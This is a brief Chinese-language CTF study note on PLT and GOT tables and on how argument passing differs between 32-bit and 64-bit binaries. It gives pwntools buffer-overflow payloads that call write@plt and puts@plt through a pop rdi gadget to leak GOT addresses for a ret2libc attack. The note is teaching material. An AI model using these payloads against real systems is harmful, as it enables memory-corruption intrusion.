关于plt表与got表
可执行文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址
当我们在做题时,我们要获得对应函数在got中的地址,32位函数与64位函数区别很大
这涉及到不同系统函数调用的区别
具体例子如下
32位函数参数直接将就近将参数压入栈中
#char[88] ebp write函数地址 write函数返回地址(返回到main函数) write函数参数一(1) write函数参数二(write_got地址) write函数参数三(写4字节)
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
#获取write在got中的地址
write_got_addr=u32(p.recv())
print hex(write_got_addr)
64位要将参数压入寄存器中
pop_rdi = 0x0000000000400C83 #一个万能的gadget,x64程序基本都存在,pop rdi;ret;
payload = '1'*0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendline(encrypt(payload))
64位调用函数时要用寄存器